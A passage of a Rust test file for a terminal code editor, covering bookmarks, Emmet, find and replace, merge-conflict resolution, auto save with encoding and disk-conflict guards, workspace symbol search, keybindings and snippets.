        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    )));
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.rs", "1\n2\n3\n");
    for row in [0, 2] {
        app.editor.cursor_row = row;
        app.editor.toggle_bookmark();
    }
    app.handle_editor_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    ));
    assert!(app.editor.bookmarked_lines().is_empty());
    assert_eq!(app.status, "Cleared 2 bookmarks");
}

/// The palette command reaches `clear_bookmarks` without the chord's
/// handler, so the non-text guard has to hold on that path too.
#[test]
fn the_palette_clear_bookmarks_command_leaves_a_preview_alone() {
    use crate::widgets::command_palette::Command;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.md", "# a\n\nb\n");
    app.editor.cursor_row = 2;
    app.editor.toggle_bookmark();
    assert!(app.editor.toggle_markdown_preview());
    app.run_command(Command::ClearBookmarks);
    assert_eq!(
        app.editor.bookmarked_lines(),
        vec![3],
        "the preview hides them"
    );
    // Back on the source, the same command clears, so the assertion above is
    // the guard and not a command that does nothing.
    assert!(app.editor.toggle_markdown_preview());
    app.run_command(Command::ClearBookmarks);
    assert!(app.editor.bookmarked_lines().is_empty());
}

#[test]
fn navigating_an_unmarked_file_explains_itself_rather_than_doing_nothing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.rs", "1\n2\n3\n");
    app.editor.cursor_row = 1;
    app.handle_editor_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    ));
    assert_eq!(app.editor.cursor_row, 1);
    assert!(app.status.contains("No bookmarks"), "was {:?}", app.status);
}

#[test]
fn the_emmet_chord_expands_the_abbreviation_in_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("page.html");
    std::fs::write(&f, "ul>li*2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 7;
    app.handle_editor_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    ));
    assert_eq!(
        app.editor.lines,
        vec!["<ul>", "    <li></li>", "    <li></li>", "</ul>"]
    );
    assert_eq!(app.status, "Emmet: expanded abbreviation");
}

/// Silence would leave the user unable to tell "wrong language" from
/// "typo in the abbreviation".
#[test]
fn the_emmet_chord_says_so_when_there_is_nothing_to_expand() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("page.html");
    std::fs::write(&f, "div>(span\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 9;
    app.handle_editor_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    ));
    assert_eq!(app.editor.lines, vec!["div>(span"]);
    assert_eq!(app.status, "Emmet: no abbreviation at the cursor");
}

/// A buffer Emmet does not run in gets a status naming the language, not
/// the "no abbreviation" message that sends the user hunting for a typo.
#[test]
fn the_emmet_chord_names_an_unsupported_language() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("main.rs");
    std::fs::write(&f, "ul>li*2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 7;
    app.handle_editor_key(key(
        KeyCode::Char('e'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    ));
    assert_eq!(app.editor.lines, vec!["ul>li*2"]);
    assert_eq!(app.status, "Emmet: not available in Rust files");
}

// --- In-editor Find & Replace ---------------------------------------------

/// The Cmd+Opt+F chord as crossterm decodes the forwarded CSI-u sequence
/// (ALT|SUPER on macOS; Ctrl+Alt+F arrives as ALT|CONTROL on Linux).
fn replace_chord() -> KeyEvent {
    key(KeyCode::Char('f'), KeyModifiers::ALT | KeyModifiers::SUPER)
}

#[test]
fn replace_chord_opens_the_find_bar_with_the_replace_row() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "alpha beta");
    app.handle_key(replace_chord()).unwrap();
    let s = app
        .editor_find
        .as_ref()
        .expect("Cmd+Opt+F must open the find bar");
    assert!(s.replace_visible, "the replace row must be shown");
}

#[test]
fn replace_chord_toggles_the_replace_row_on_an_open_find_bar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "alpha beta");
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        !app.editor_find.as_ref().unwrap().replace_visible,
        "plain Cmd+F opens find without the replace row"
    );
    app.handle_key(replace_chord()).unwrap();
    assert!(
        app.editor_find.as_ref().unwrap().replace_visible,
        "Cmd+Opt+F on an open find bar expands the replace row"
    );
    app.handle_key(replace_chord()).unwrap();
    assert!(
        !app.editor_find.as_ref().unwrap().replace_visible,
        "Cmd+Opt+F again collapses the replace row"
    );
}

#[test]
fn tab_switches_focus_between_the_find_and_replace_fields() {
    use crate::widgets::editor_find::FindField;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "alpha beta");
    app.handle_key(replace_chord()).unwrap();
    for c in "alpha".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor_find.as_ref().unwrap().query,
        "alpha",
        "typing lands in the query row first"
    );
    app.handle_key(key(KeyCode::Tab, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor_find.as_ref().unwrap().focus,
        FindField::Replace,
        "Tab moves focus to the replace row"
    );
    for c in "x".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor_find.as_ref().unwrap().replace,
        "x",
        "typing lands in the replace row once focused"
    );
    assert_eq!(
        app.editor_find.as_ref().unwrap().query,
        "alpha",
        "the query is untouched by replace-row typing"
    );
}

#[test]
fn enter_in_the_replace_field_replaces_the_current_match_and_advances() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "alpha beta\ngamma alpha");
    app.handle_key(replace_chord()).unwrap();
    for c in "alpha".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    app.handle_key(key(KeyCode::Tab, KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.lines[0], "x beta",
        "the current match is replaced"
    );
    assert_eq!(
        app.editor.lines[1], "gamma alpha",
        "only the current match is replaced"
    );
    assert_eq!(
        app.editor.cursor_row, 1,
        "the editor advances to the next match"
    );
    assert!(app.editor.dirty, "a replace dirties the buffer");
    assert!(app.editor.undo(), "the replace is undoable");
    assert_eq!(app.editor.lines[0], "alpha beta");
}

#[test]
fn replace_all_chord_replaces_every_match_in_one_undo_step() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "alpha beta\ngamma alpha");
    app.handle_key(replace_chord()).unwrap();
    for c in "alpha".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    app.handle_key(key(KeyCode::Tab, KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::ALT | KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.lines[0], "x beta");
    assert_eq!(app.editor.lines[1], "gamma x");
    assert!(app.editor.dirty, "replace all dirties the buffer");
    assert!(app.editor.undo(), "replace all is one undo step");
    assert_eq!(app.editor.lines[0], "alpha beta");
    assert_eq!(app.editor.lines[1], "gamma alpha");
}

// --- Merge conflict resolution ---------------------------------------------

const CONFLICTED_BODY: &str =
    "fn main() {\n<<<<<<< HEAD\n    ours();\n=======\n    theirs();\n>>>>>>> feature\n}";

#[test]
fn quick_fix_inside_a_conflict_opens_the_merge_picker() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    app.editor.cursor_row = 2; // inside the ours section
    app.start_code_action();
    let picker = app
        .list_picker
        .as_ref()
        .expect("Quick Fix inside a conflict must open the merge picker without an LSP round-trip");
    assert_eq!(
        picker.purpose,
        crate::widgets::list_picker::ListPurpose::MergeConflict
    );
    assert_eq!(
        picker.rows.len(),
        3,
        "Accept Current / Accept Incoming / Accept Both"
    );
}

#[test]
fn merge_picker_accept_current_replaces_the_block_with_ours() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    app.editor.cursor_row = 4; // inside the theirs section, still the same block
    app.start_code_action();
    assert!(app.list_picker.is_some(), "the merge picker must open");
    app.confirm_list_picker(); // first row = Accept Current
    assert_eq!(
        app.editor.lines,
        vec!["fn main() {", "    ours();", "}"],
        "the whole marker block collapses to the current section"
    );
    assert!(app.editor.dirty, "resolving a conflict dirties the buffer");
    assert!(app.editor.undo(), "resolution is one undo step");
    assert_eq!(app.editor.lines.len(), 7, "undo restores the marker block");
}

#[test]
fn palette_merge_accept_incoming_resolves_at_cursor() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    app.editor.cursor_row = 1;
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptIncoming);
    assert_eq!(app.editor.lines, vec!["fn main() {", "    theirs();", "}"]);
    // The last block resolving appends the Complete Merge pointer, so the
    // next step of the flow is always one status read away (#107).
    assert_eq!(
        app.status,
        "Accepted incoming change — all conflicts resolved; \"Merge: Complete Merge\" stages the file"
    );
}

#[test]
fn palette_merge_accept_both_keeps_ours_then_theirs() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    app.editor.cursor_row = 3;
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptBoth);
    assert_eq!(
        app.editor.lines,
        vec!["fn main() {", "    ours();", "    theirs();", "}"]
    );
}

#[test]
fn merge_commands_outside_a_conflict_report_and_leave_the_buffer_alone() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    app.editor.cursor_row = 0; // outside the block
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptCurrent);
    assert_eq!(app.status, "No merge conflict at the cursor");
    assert_eq!(app.editor.lines.len(), 7, "the buffer is untouched");
}

#[test]
fn conflict_regions_render_with_tinted_backgrounds() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", CONFLICTED_BODY);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let x = app.editor.last_inner.x + app.editor.last_gutter_width as u16 + 1;
    let y0 = app.editor.last_inner.y; // row 0: "fn main() {"
    let buf = term.backend().buffer();
    let bg_at = |dy: u16| buf[(x, y0 + dy)].style().bg;
    assert_ne!(
        bg_at(2),
        bg_at(0),
        "the ours content row must be tinted differently from a plain row"
    );
    assert_ne!(
        bg_at(4),
        bg_at(0),
        "the theirs content row must be tinted differently from a plain row"
    );
    assert_ne!(
        bg_at(2),
        bg_at(4),
        "ours and theirs tint differently, like VS Code's current vs incoming"
    );
}

// --- Auto Save (files.autoSave: afterDelay) --------------------------------

/// Rewind a buffer's last-edit stamp so the auto-save delay has elapsed.
fn age_last_edit(e: &mut crate::widgets::editor::Editor) {
    e.last_edit_at = std::time::Instant::now().checked_sub(std::time::Duration::from_secs(5));
}

/// Issue #213: files.autoSave onFocusChange. With the mode on, moving
/// focus off the editor writes the dirty buffer immediately, without
/// waiting for the afterDelay timer (which stays off here).
#[test]
fn auto_save_on_focus_change_writes_when_the_editor_loses_focus() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.auto_save = false;
    app.auto_save_on_focus_change = true;
    app.focus_pane(Pane::Editor);
    app.tick_auto_save(); // settle the focus signature
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.dirty);
    assert!(
        !app.tick_auto_save(),
        "no focus change yet, and the delay mode is off"
    );
    assert!(app.editor.dirty, "still dirty while focus has not moved");
    // Focus leaves the editor: the buffer must be written on the next tick.
    app.focus_pane(Pane::Terminal);
    assert!(app.tick_auto_save(), "losing focus saves the buffer");
    assert!(!app.editor.dirty, "saving clears the dirty flag");
    let on_disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert!(
        on_disk.contains('x'),
        "the edit must be on disk: {on_disk:?}"
    );
}

/// Switching tabs saves the tab that lost focus, and leaves the newly
/// focused (untouched) tab alone.
#[test]
fn auto_save_on_focus_change_writes_the_tab_that_lost_focus() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "aaa").unwrap();
    std::fs::write(&b, "bbb").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.auto_save = false;
    app.auto_save_on_focus_change = true;
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    app.tick_auto_save();
    app.handle_key(key(KeyCode::Char('Z'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.dirty, "a.txt is dirty");
    // Opening b.txt takes focus away from a.txt.
    app.editor.open_pinned(&b).unwrap();
    assert!(app.tick_auto_save(), "the tab that lost focus is saved");
    let on_disk = std::fs::read_to_string(&a).unwrap();
    assert!(
        on_disk.contains('Z'),
        "a.txt must be written when it lost focus: {on_disk:?}"
    );
}

/// The mode is off by default, so a focus change alone never writes.
#[test]
fn focus_changes_do_not_save_when_the_mode_is_off() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    // Pin both modes off explicitly: App::new loads the developer's real
    // prefs, so asserting a DEFAULT here would depend on machine state.
    app.auto_save = false;
    app.auto_save_on_focus_change = false;
    app.focus_pane(Pane::Editor);
    app.tick_auto_save();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    app.focus_pane(Pane::Terminal);
    assert!(!app.tick_auto_save(), "the mode is off");
    assert!(app.editor.dirty, "the buffer stays dirty");
}

#[test]
fn auto_save_writes_a_dirty_buffer_after_the_delay() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.auto_save = true;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.dirty, "typing dirties the buffer");
    assert!(
        !app.tick_auto_save(),
        "a buffer edited a moment ago must not save yet"
    );
    assert!(app.editor.dirty, "still dirty before the delay elapses");
    age_last_edit(&mut app.editor);
    assert!(app.tick_auto_save(), "the aged buffer must save");
    assert!(!app.editor.dirty, "saving clears the dirty flag");
    let on_disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert!(
        on_disk.contains('x'),
        "the edit must be on disk, got: {on_disk:?}"
    );
}

#[test]
fn auto_save_surfaces_a_disk_conflict_instead_of_latching_silently() {
    // A dirty buffer collides with an external write: save_to_disk latches
    // disk_conflict, due() then excludes the tab forever, and without a
    // prompt the user learns nothing while auto save silently stops.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.auto_save = true;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    std::fs::write(tmp.path().join("a.txt"), "external change wins\n").unwrap();
    age_last_edit(&mut app.editor);
    assert!(
        app.tick_auto_save(),
        "a conflict-only tick must signal a redraw so the prompt shows now, not on the next blink"
    );
    assert!(app.editor.disk_conflict, "the conflict latches");
    assert!(
        app.input_prompt.is_some() || app.status.to_lowercase().contains("conflict"),
        "the collision must be surfaced, not swallowed; status: {:?}",
        app.status
    );
}

#[test]
fn explicit_save_prompts_before_a_lossy_encoding_write_then_second_press_consents() {
    // Issue #41: encoding_rs substitutes HTML numeric character references
    // (not `?`) for unmappable characters, so an unguarded save silently
    // rewrites 日本語 as `&#26085;…` on disk while the buffer looks fine.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "plain");
    app.editor
        .reopen_with_encoding(encoding_rs::WINDOWS_1252)
        .unwrap();
    app.editor.lines = vec![String::from("日本語 costs 5€")];
    app.editor.dirty = true;
    app.save();
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("a.txt")).unwrap(),
        "plain",
        "the first Cmd+S must refuse, leaving the file untouched"
    );
    assert!(
        app.status.contains("windows-1252") && app.status.contains('日'),
        "the refusal must name the encoding and the doomed characters; status: {:?}",
        app.status
    );
    assert!(
        app.editor.lossy_save_armed,
        "the refusal arms the second press"
    );
    app.save();
    assert_eq!(
        std::fs::read(tmp.path().join("a.txt")).unwrap(),
        b"&#26085;&#26412;&#35486; costs 5\x80",
        "the second Cmd+S is explicit consent to the lossy write"
    );
    assert!(!app.editor.dirty, "the consented save completes normally");
}

#[test]
fn an_edit_between_refusal_and_consent_forces_a_fresh_prompt() {
    // The first Cmd+S arms the second — but consent named the characters the
    // buffer held at prompt time. Typing in between changes what the write
    // would destroy, so the next Cmd+S must refuse and re-prompt (now naming
    // the new character too), and only the press after that writes.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "plain");
    app.editor
        .reopen_with_encoding(encoding_rs::WINDOWS_1252)
        .unwrap();
    app.editor.lines = vec![String::from("日")];
    app.editor.dirty = true;
    app.save();
    assert!(
        app.editor.lossy_save_armed,
        "the refusal arms the second press"
    );
    app.editor.insert_char('語');
    app.save();
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("a.txt")).unwrap(),
        "plain",
        "the edit revoked the consent, so this press must refuse again"
    );
    assert!(
        app.status.contains('語'),
        "the fresh prompt must name the newly typed character; status: {:?}",
        app.status
    );
    app.save();
    assert_eq!(
        std::fs::read(tmp.path().join("a.txt")).unwrap(),
        b"&#35486;&#26085;",
        "consent given after the prompt that named both characters writes"
    );
}

#[test]
fn auto_save_surfaces_an_encoding_refusal_instead_of_latching_silently() {
    // The same latch-and-tell contract as the disk-conflict arm: the refusal
    // removes the tab from due(), so the transition tick must both redraw
    // and say why auto save stopped — and must never write the mangled bytes.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "plain");
    app.auto_save = true;
    app.editor
        .reopen_with_encoding(encoding_rs::WINDOWS_1252)
        .unwrap();
    app.editor.lines = vec![String::from("日本語")];
    app.editor.dirty = true;
    age_last_edit(&mut app.editor);
    assert!(
        app.tick_auto_save(),
        "a refusal-only tick must signal a redraw so the message shows now"
    );
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("a.txt")).unwrap(),
        "plain",
        "auto save must never write the substituted bytes"
    );
    assert!(app.editor.encoding_loss, "the refusal latches");
    assert!(
        !app.editor.lossy_save_armed,
        "auto save must never consent to the lossy write on the user's behalf"
    );
    assert!(
        app.status.contains("a.txt") && app.status.contains("windows-1252"),
        "the stall must be surfaced with the tab and its encoding; status: {:?}",
        app.status
    );
    assert!(
        !app.tick_auto_save(),
        "the latch keeps later ticks quiet instead of re-refusing every second"
    );
}

#[test]
fn merge_accept_refuses_a_non_text_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let png = tmp.path().join("p.png");
    image::RgbaImage::new(1, 1).save(&png).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&png).unwrap();
    app.run_command(crate::widgets::command_palette::Command::MergeAcceptCurrent);
    assert_eq!(
        app.status, "Merge conflict actions need a text file",
        "a non-text tab must refuse, never consult a possibly-stale conflict cache"
    );
}

#[test]
fn replace_all_recounts_instead_of_reporting_zero() {
    // Replacing `a` with `aa` doubles the matches; the title must recount,
    // not read "No results" over a body still full of highlights.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "a");
    app.open_editor_replace();
    if let Some(s) = app.editor_find.as_mut() {
        s.query = "a".to_string();
        s.replace = "aa".to_string();
    }
    app.editor_find_replace_all();
    assert_eq!(
        app.editor_find.as_ref().unwrap().match_count,
        2,
        "the count reflects the buffer after the replace"
    );
}

#[test]
fn a_restored_dirty_tab_gets_an_auto_save_stamp() {
    // A session-restored dirty tab has no last_edit_at; due() then never
    // fires and the restored unsaved content sits unwritten forever.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    let state = app.capture_session_state();
    let mut restored = App::new(tmp.path().to_path_buf()).unwrap();
    restored.apply_session_state(&state);
    let dirty = restored
        .editor
        .editors
        .iter()
        .find(|e| e.dirty)
        .expect("the dirty tab survives the restore");
    assert!(
        dirty.last_edit_at.is_some(),
        "a restored dirty tab must be eligible for auto save"
    );
}

#[test]
fn auto_save_stays_off_by_default() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    assert!(!app.auto_save, "auto save defaults off, like VS Code");
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    age_last_edit(&mut app.editor);
    assert!(!app.tick_auto_save());
    assert!(app.editor.dirty, "nothing saves while the pref is off");
}

#[test]
fn auto_save_never_overwrites_an_external_disk_change() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.auto_save = true;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    // The file changes under croft before the delay elapses.
    std::fs::write(tmp.path().join("a.txt"), "external edit").unwrap();
    age_last_edit(&mut app.editor);
    app.tick_auto_save();
    let on_disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert_eq!(
        on_disk, "external edit",
        "auto save must refuse the write and keep the external content"
    );
}

#[test]
fn auto_save_sweeps_dirty_background_tabs() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "first");
    app.auto_save = true;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    // Open a second file; the dirty first tab moves to the background.
    let b = tmp.path().join("b.txt");
    std::fs::write(&b, "second").unwrap();
    app.editor.open_pinned(&b).unwrap();
    for e in app.editor.editors.iter_mut() {
        age_last_edit(e);
    }
    assert!(app.tick_auto_save(), "the background tab must save");
    let on_disk = std::fs::read_to_string(tmp.path().join("a.txt")).unwrap();
    assert!(
        on_disk.contains('x'),
        "the background tab's edit must be on disk, got: {on_disk:?}"
    );
}

#[test]
fn toggle_auto_save_command_flips_the_pref_and_reports_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.txt", "hello");
    app.run_command(crate::widgets::command_palette::Command::ToggleAutoSave);
    assert!(app.auto_save);
    assert_eq!(app.status, "Auto Save: on");
    app.run_command(crate::widgets::command_palette::Command::ToggleAutoSave);
    assert!(!app.auto_save);
    assert_eq!(app.status, "Auto Save: off");
}

// --- Workspace symbol search (# in Quick Open) ------------------------------

fn ws_item(
    name: &str,
    path: &std::path::Path,
    line: u32,
) -> crate::lsp::manager::WorkspaceSymbolItem {
    crate::lsp::manager::WorkspaceSymbolItem {
        name: name.to_string(),
        kind: crate::lsp::manager::OutlineKind::Function,
        path: path.to_path_buf(),
        line,
        character: 0,
        container: None,
    }
}

#[test]
fn hash_prefix_in_quick_open_switches_to_workspace_symbols() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.file_finder.is_some(), "Cmd+P opens Quick Open");
    app.handle_key(key(KeyCode::Char('#'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.file_finder.is_none(),
        "typing # hands Quick Open over to the workspace symbol picker"
    );
    let picker = app
        .workspace_symbols
        .as_ref()
        .expect("the workspace symbol picker must open");
    assert_eq!(picker.query, "", "the # itself is not part of the query");
}

#[test]
fn palette_go_to_symbol_in_workspace_opens_the_picker() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    app.run_command(crate::widgets::command_palette::Command::GoToWorkspaceSymbol);
    assert!(app.workspace_symbols.is_some());
}

#[test]
fn stale_workspace_symbol_replies_are_dropped() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    app.open_workspace_symbols("ma");
    app.ws_symbols_request_id = Some(7);
    let f = tmp.path().join("a.rs");
    assert!(
        !app.apply_workspace_symbols(3, vec![ws_item("old", &f, 0)], false),
        "a reply for a superseded request must be dropped"
    );
    assert!(app.workspace_symbols.as_ref().unwrap().results.is_empty());
    assert!(
        app.apply_workspace_symbols(7, vec![ws_item("main", &f, 0)], false),
        "the newest request's reply applies"
    );
    assert_eq!(app.workspace_symbols.as_ref().unwrap().results.len(), 1);
}

#[test]
fn enter_opens_the_selected_symbols_file_at_its_line() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    let other = tmp.path().join("b.rs");
    std::fs::write(&other, "line0\nline1\nfn target() {}\n").unwrap();
    app.open_workspace_symbols("target");
    app.ws_symbols_request_id = Some(1);
    assert!(app.apply_workspace_symbols(1, vec![ws_item("target", &other, 2)], false));
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.workspace_symbols.is_none(), "Enter closes the picker");
    assert_eq!(
        app.editor.path.as_deref(),
        Some(other.as_path()),
        "Enter opens the symbol's file"
    );
    assert_eq!(
        app.editor.cursor_row, 2,
        "the caret lands on the symbol's line"
    );
}

#[test]
fn typing_in_the_picker_without_a_language_server_reports_unsupported() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}");
    app.lsp = None;
    app.open_workspace_symbols("");
    app.handle_key(key(KeyCode::Char('m'), KeyModifiers::NONE))
        .unwrap();
    // The query dispatches on the debounce tick, not the keystroke.
    std::thread::sleep(std::time::Duration::from_millis(250));
    app.workspace_symbols_dispatch_due();
    let picker = app.workspace_symbols.as_ref().unwrap();
    assert!(
        picker.unsupported,
        "with no language server the picker must say so instead of spinning"
    );
}

#[test]
fn a_user_keybinding_overrides_and_runs_the_bound_command() {
    // A chord in keybindings.json is consulted ahead of the built-in handlers
    // and dispatches the palette command it names.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap =
        crate::keymap::Keymap::from_json(r#"[{ "key": "ctrl+alt+g", "command": "show_search" }]"#);
    assert_ne!(app.sidebar_view, SidebarView::Search);
    app.handle_key(key(
        KeyCode::Char('g'),
        KeyModifiers::CONTROL | KeyModifiers::ALT,
    ))
    .unwrap();
    assert_eq!(
        app.sidebar_view,
        SidebarView::Search,
        "the bound chord must run Show Search via run_command"
    );
}

#[test]
fn a_user_keybinding_is_ignored_while_the_terminal_is_focused() {
    // The terminal needs its raw control keys, so the keymap must not fire there.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap =
        crate::keymap::Keymap::from_json(r#"[{ "key": "ctrl+alt+g", "command": "show_search" }]"#);
    app.focus = Pane::Terminal;
    app.handle_key(key(
        KeyCode::Char('g'),
        KeyModifiers::CONTROL | KeyModifiers::ALT,
    ))
    .unwrap();
    assert_ne!(
        app.sidebar_view,
        SidebarView::Search,
        "a bound chord must be inert while the terminal is focused"
    );
}

#[test]
fn tab_expands_a_user_snippet_and_places_the_caret() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.snippets = crate::snippets::SnippetSet::from_json(
        r#"{ "Log": { "prefix": "log", "body": "console.log($1)" } }"#,
    );
    app.editor.insert_str("log");
    app.handle_editor_tab();
    assert_eq!(app.editor.lines[app.editor.cursor_row], "console.log()");
    assert_eq!(
        app.editor.cursor_col, 12,
        "caret lands inside the parentheses at $1"
    );
}

#[test]
fn accepting_a_snippet_completion_expands_it_with_tab_stops() {
    // A snippet item in the completion popup carries the body as is_snippet
    // insertion text; Enter must expand it through the editor engine, not
    // insert the literal "$1".
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.insert_str("log");
    let item = super::snippet_completion_item(&crate::snippets::Snippet {
        prefix: "log".into(),
        body: "console.log($1)".into(),
        scope: vec![],
    });
    app.completion_popup = Some(crate::widgets::completion_popup::CompletionPopup::new(
        vec![item],
        "log".into(),
        (0, 0),
        std::path::PathBuf::new(),
        1,
    ));
    app.handle_completion_popup_key(key(KeyCode::Enter, KeyModifiers::NONE));
